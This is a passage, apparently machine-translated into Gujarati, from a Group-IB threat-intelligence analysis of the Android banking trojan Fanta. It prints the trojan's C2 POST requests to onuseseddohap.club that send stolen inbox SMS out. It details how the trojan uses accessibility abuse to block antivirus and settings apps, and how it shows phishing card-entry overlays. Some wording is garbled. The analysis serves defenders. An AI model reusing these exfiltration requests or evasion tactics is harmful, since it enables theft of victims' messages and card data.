      "status":"ok"
  }

• પ્રકાર સાથે સંદેશ મોકલી રહ્યું છે setSmsStatus. આદેશ એક્ઝિક્યુટ થયા પછી આ વિનંતી કરવામાં આવે છે SMS સંદેશ મોકલો. વિનંતી આના જેવી લાગે છે:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• ડેટાબેઝ સામગ્રીઓ અપલોડ કરી રહ્યું છે. વિનંતી દીઠ એક પંક્તિ પ્રસારિત થાય છે. નીચેનો ડેટા સર્વરને મોકલવામાં આવે છે:
  · કૂકી - સર્વરમાંથી કૂકીઝ પ્રાપ્ત થઈ છે
  · સ્થિતિ — સ્ટ્રિંગ કોન્સ્ટન્ટ setSaveInboxSms
  · બિડ - સંક્રમિત ઉપકરણનું id જે વિનંતી મોકલતી વખતે પ્રાપ્ત થયું હતું register_bot
  · લખાણ - વર્તમાન ડેટાબેઝ રેકોર્ડમાં ટેક્સ્ટ (ક્ષેત્ર d ટેબલ પરથી લોગ ડેટાબેઝમાં а)
  · નંબર - વર્તમાન ડેટાબેઝ રેકોર્ડનું નામ (ફીલ્ડ p ટેબલ પરથી લોગ ડેટાબેઝમાં а)
  · sms_mode - પૂર્ણાંક મૂલ્ય (ક્ષેત્ર m ટેબલ પરથી લોગ ડેટાબેઝમાં а)

  વિનંતી આના જેવી લાગે છે:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  જો સફળતાપૂર્વક સર્વર પર મોકલવામાં આવશે, તો પંક્તિ કોષ્ટકમાંથી કાઢી નાખવામાં આવશે. સર્વર દ્વારા પરત કરવામાં આવેલ JSON ઑબ્જેક્ટનું ઉદાહરણ:

  {
      "response":[],
      "status":"ok"
  }

ઍક્સેસિબિલિટી સેવા સાથે ક્રિયાપ્રતિક્રિયા

વિકલાંગ લોકો માટે Android ઉપકરણોનો ઉપયોગ સરળ બનાવવા માટે AccessibilityService લાગુ કરવામાં આવી હતી. મોટાભાગના કિસ્સાઓમાં, એપ્લિકેશન સાથે ક્રિયાપ્રતિક્રિયા કરવા માટે શારીરિક ક્રિયાપ્રતિક્રિયા જરૂરી છે. ઍક્સેસિબિલિટી સર્વિસ તમને તેમને પ્રોગ્રામેટિકલી કરવા દે છે. ફેન્ટા સેવાનો ઉપયોગ બેંકિંગ એપ્લિકેશન્સમાં નકલી વિન્ડો બનાવવા અને વપરાશકર્તાઓને સિસ્ટમ સેટિંગ્સ અને કેટલીક એપ્લિકેશનો ખોલવાથી અટકાવવા માટે કરે છે.

ઍક્સેસિબિલિટી સર્વિસની કાર્યક્ષમતાનો ઉપયોગ કરીને, ટ્રોજન ચેપગ્રસ્ત ઉપકરણની સ્ક્રીન પર તત્વોમાં થતા ફેરફારોનું નિરીક્ષણ કરે છે. અગાઉ વર્ણવ્યા મુજબ, ફેન્ટા સેટિંગ્સમાં સંવાદ બોક્સ સાથે લોગીંગ કામગીરી માટે જવાબદાર પરિમાણ હોય છે - વાંચો સંવાદ. જો આ પરિમાણ સેટ કરેલ હોય, તો ઇવેન્ટને ટ્રિગર કરનાર પેકેજના નામ અને વર્ણન વિશેની માહિતી ડેટાબેઝમાં ઉમેરવામાં આવશે. ઘટનાઓ ટ્રિગર થાય ત્યારે ટ્રોજન નીચેની ક્રિયાઓ કરે છે:

• નીચેના કેસોમાં પાછળ અને ઘરની કી દબાવવાનું અનુકરણ કરે છે:
  · જો વપરાશકર્તા તેના ઉપકરણને રીબૂટ કરવા માંગે છે
  · જો વપરાશકર્તા "Avito" એપ્લિકેશન કાઢી નાખવા અથવા ઍક્સેસ અધિકારો બદલવા માંગે છે
  · જો પૃષ્ઠ પર "Avito" એપ્લિકેશનનો ઉલ્લેખ છે
  · Google Play Protect એપ્લિકેશન ખોલતી વખતે
  · ઍક્સેસિબિલિટી સર્વિસ સેટિંગ્સ સાથે પૃષ્ઠો ખોલતી વખતે
  · જ્યારે સિસ્ટમ સુરક્ષા સંવાદ બોક્સ દેખાય છે
  · જ્યારે "અન્ય એપ્લિકેશન પર દોરો" સેટિંગ્સ સાથે પૃષ્ઠ ખોલો
  · “એપ્લિકેશન્સ” પેજ ખોલતી વખતે, “પુનઃપ્રાપ્તિ અને રીસેટ”, “ડેટા રીસેટ”, “રીસેટ સેટિંગ્સ”, “વિકાસકર્તા પેનલ”, “વિશેષ. તકો", "વિશેષ તકો", "વિશેષ અધિકારો"
  · જો ઇવેન્ટ ચોક્કસ એપ્લિકેશનો દ્વારા જનરેટ કરવામાં આવી હોય.

  અરજીઓની યાદી

  • Android
  • માસ્ટર લાઇટ
  • ક્લીન માસ્ટર
  • x86 CPU માટે ક્લીન માસ્ટર
  • Meizu એપ્લિકેશન પરવાનગી વ્યવસ્થાપન
  • MIUI સુરક્ષા
  • ક્લીન માસ્ટર - એન્ટિવાયરસ અને કેશ અને ગાર્બેજ ક્લીનર
  • પેરેંટલ કંટ્રોલ્સ અને GPS: Kaspersky SafeKids
  • કેસ્પરસ્કી એન્ટિવાયરસ એપલોક અને વેબ સુરક્ષા બીટા
  • વાયરસ ક્લીનર, એન્ટિવાયરસ, ક્લીનર (MAX સુરક્ષા)
  • મોબાઇલ એન્ટિવાયરસ સુરક્ષા પ્રો
  • અવાસ્ટ એન્ટીવાયરસ અને ફ્રી પ્રોટેક્શન 2019
  • મોબાઇલ સુરક્ષા MegaFon
  • Xperia માટે AVG પ્રોટેક્શન
  • મોબાઇલ સુરક્ષા
  • માલવેરબાઇટ્સ એન્ટિવાયરસ અને સંરક્ષણ
  • એન્ડ્રોઇડ 2019 માટે એન્ટિવાયરસ
  • સુરક્ષા માસ્ટર - એન્ટિવાયરસ, વીપીએન, એપલોક, બૂસ્ટર
  • Huawei ટેબ્લેટ સિસ્ટમ મેનેજર માટે AVG એન્ટીવાયરસ
  • સેમસંગ સુલભતા
  • સેમસંગ સ્માર્ટ મેનેજર
  • સુરક્ષા માસ્ટર
  • સ્પીડ બુસ્ટર
  • ડ Dr..વેબ
  • ડ Security. વેબ સિક્યુરિટી સ્પેસ
  • ડો.વેબ મોબાઈલ કંટ્રોલ સેન્ટર
  • Dr.Web Security Space Life
  • ડો.વેબ મોબાઈલ કંટ્રોલ સેન્ટર
  • એન્ટિવાયરસ અને મોબાઇલ સુરક્ષા
  • કેસ્પરસ્કી ઈન્ટરનેટ સુરક્ષા: એન્ટિવાયરસ અને સુરક્ષા
  • કેસ્પરસ્કી બેટરી લાઇફ: સેવર અને બૂસ્ટર
  • કેસ્પરસ્કી એન્ડપોઇન્ટ સિક્યુરિટી - પ્રોટેક્શન અને મેનેજમેન્ટ
  • AVG એન્ટિવાયરસ ફ્રી 2019 – Android માટે રક્ષણ
  • એન્ટિવાયરસ Android
  • નોર્ટન મોબાઇલ સુરક્ષા અને એન્ટિવાયરસ
  • એન્ટિવાયરસ, ફાયરવોલ, VPN, મોબાઇલ સુરક્ષા
  • મોબાઇલ સુરક્ષા: એન્ટીવાયરસ, VPN, ચોરી સુરક્ષા
  • એન્ડ્રોઇડ માટે એન્ટીવાયરસ

• જો ટૂંકા નંબર પર SMS સંદેશ મોકલતી વખતે પરવાનગીની વિનંતી કરવામાં આવે, તો ફેન્ટા ચેકબોક્સ પર ક્લિક કરવાનું અનુકરણ કરે છે પસંદગી યાદ રાખો અને બટન મોકલો.
• જ્યારે તમે ટ્રોજન પાસેથી એડમિનિસ્ટ્રેટર અધિકારો છીનવી લેવાનો પ્રયાસ કરો છો, ત્યારે તે ફોનની સ્ક્રીનને લોક કરે છે.
• નવા એડમિનિસ્ટ્રેટર્સ ઉમેરવાનું અટકાવે છે.
• જો એન્ટીવાયરસ એપ્લિકેશન dr.web ધમકી મળી, ફેન્ટા બટન દબાવવાનું અનુકરણ કરે છે અવગણો.
• જો ઇવેન્ટ એપ્લિકેશન દ્વારા જનરેટ કરવામાં આવી હોય તો ટ્રોજન પાછળ અને હોમ બટન દબાવવાનું અનુકરણ કરે છે સેમસંગ ઉપકરણ સંભાળ.
• જો લગભગ 30 અલગ-અલગ ઈન્ટરનેટ સેવાઓની યાદીમાંથી કોઈ એપ્લિકેશન લોન્ચ કરવામાં આવી હોય તો ફેન્ટા બેંક કાર્ડ્સ વિશેની માહિતી દાખલ કરવા માટે ફોર્મ સાથે ફિશિંગ વિન્ડો બનાવે છે. તેમાંથી: AliExpress, બુકિંગ, Avito, Google Play Market Component, Pandao, Drom Auto, વગેરે.
  

  ફિશીંગ ફોર્મ્સ

  ફેન્ટા ચેપગ્રસ્ત ઉપકરણ પર કઈ એપ્લિકેશન ચાલી રહી છે તેનું વિશ્લેષણ કરે છે. જો રસની એપ્લિકેશન ખોલવામાં આવી હોય, તો ટ્રોજન અન્ય તમામની ટોચ પર ફિશિંગ વિન્ડો દર્શાવે છે, જે બેંક કાર્ડની માહિતી દાખલ કરવા માટેનું એક ફોર્મ છે. વપરાશકર્તાએ નીચેનો ડેટા દાખલ કરવો આવશ્યક છે:

  • Ы
  • કાર્ડની સમાપ્તિ તારીખ
  • સીવીવી
  • કાર્ડધારકનું નામ (બધી બેંકો માટે નહીં)

  ચાલી રહેલ એપ્લિકેશનના આધારે, વિવિધ ફિશીંગ વિન્ડો બતાવવામાં આવશે. નીચે તેમાંથી કેટલાકના ઉદાહરણો છે:

  એલિએક્સપ્રેસ:

  
  એવિટો:

  
  કેટલીક અન્ય એપ્લિકેશનો માટે, દા.ત. Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  તે ખરેખર કેવી રીતે હતું
  

  સદનસીબે, લેખની શરૂઆતમાં વર્ણવેલ એસએમએસ સંદેશ પ્રાપ્ત કરનાર વ્યક્તિ સાયબર સુરક્ષા નિષ્ણાત હોવાનું બહાર આવ્યું છે. તેથી, વાસ્તવિક, બિન-નિર્દેશકનું સંસ્કરણ અગાઉ કહ્યું હતું તેનાથી અલગ છે: એક વ્યક્તિને એક રસપ્રદ SMS મળ્યો, જે પછી તેણે તે ગ્રુપ-IB થ્રેટ હન્ટિંગ ઇન્ટેલિજન્સ ટીમને આપ્યો. હુમલાનું પરિણામ આ લેખ છે. હેપી એન્ડિંગ, બરાબર ને? જો કે, બધી વાર્તાઓ એટલી સફળતાપૂર્વક સમાપ્ત થતી નથી, અને જેથી તમારી વાર્તા પૈસાની ખોટ સાથે દિગ્દર્શકની કટ જેવી ન લાગે, મોટાભાગના કિસ્સાઓમાં તે નીચેના લાંબા-વર્ણન કરેલા નિયમોનું પાલન કરવા માટે પૂરતું છે:

  • Google Play સિવાયના કોઈપણ સ્રોતોમાંથી Android OS સાથેના મોબાઇલ ઉપકરણ માટે એપ્લિકેશન્સ ઇન્સ્ટોલ કરશો નહીં
  • એપ્લિકેશન ઇન્સ્ટોલ કરતી વખતે, એપ્લિકેશન દ્વારા વિનંતી કરાયેલા અધિકારો પર વિશેષ ધ્યાન આપો
  • ડાઉનલોડ કરેલી ફાઇલોના એક્સ્ટેંશન પર ધ્યાન આપો
  • નિયમિતપણે Android OS અપડેટ્સ ઇન્સ્ટોલ કરો
  • શંકાસ્પદ સંસાધનોની મુલાકાત ન લો અને ત્યાંથી ફાઇલો ડાઉનલોડ કરશો નહીં
  • SMS સંદેશામાં મળેલી લિંક પર ક્લિક કરશો નહીં.

સોર્સ: www.habr.com